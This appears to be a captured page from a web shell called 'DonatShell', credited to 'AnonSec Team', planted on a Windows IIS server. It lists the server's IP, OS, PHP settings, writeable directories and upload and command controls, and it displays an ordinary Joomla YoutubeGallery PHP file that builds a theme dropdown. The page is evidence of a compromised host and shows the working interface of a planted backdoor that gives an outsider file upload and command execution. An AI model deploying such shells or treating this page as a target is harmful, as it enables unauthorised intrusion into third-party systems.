DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/news/components/com_youtubegallery/elements/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/news/components/com_youtubegallery/elements/themesoptional.php
<?php
// No direct access to this file
defined('_JEXEC') or die;
 
/**
 * YoutubeGallery Form Field class for the Youtube Gallery component
 */
class JElementThemesOptional extends JElement
{

        var	$_name = 'themesoptional';

        function fetchElement($name, $value, &$node, $control_name)
        {
                $db = JFactory::getDBO();
                $query='SELECT `id`, `themename` FROM `#__youtubegallery_themes`';
                $db->setQuery($query);
                $recs = $db->loadObjectList();
                
                $options = array();
                $a = array('id' => 0, 'themename' => " - Select Theme");
                $options[]=JElementThemesOptional::arrayToObject($a);
                
                $recs = array_merge($options,$recs);
                
                return JHTML::_('select.genericlist',  $recs, $control_name.'['.$name.']', 'class="inputbox"', 'id', 'themename', $value);
        }
        
        //http://www.richardcastera.com/blog/php-convert-array-to-object-with-stdclass
        protected static function arrayToObject($array)
        {
                
                if (!is_array($array)) {
                        return $array;
                }
    
                $object = new stdClass();
                if (is_array($array) && count($array) > 0)
                {
                        foreach ($array as $name=>$value)
                        {
                            $name = strtolower(trim($name));
                            if (!empty($name))
                            {
                                $object->$name = JElementThemesOptional::arrayToObject($value);
                            }
                        }
                        return $object;
                }
                else
                {
                    return FALSE;
                }
        }       

}

Anon7 - 2022
AnonSec Team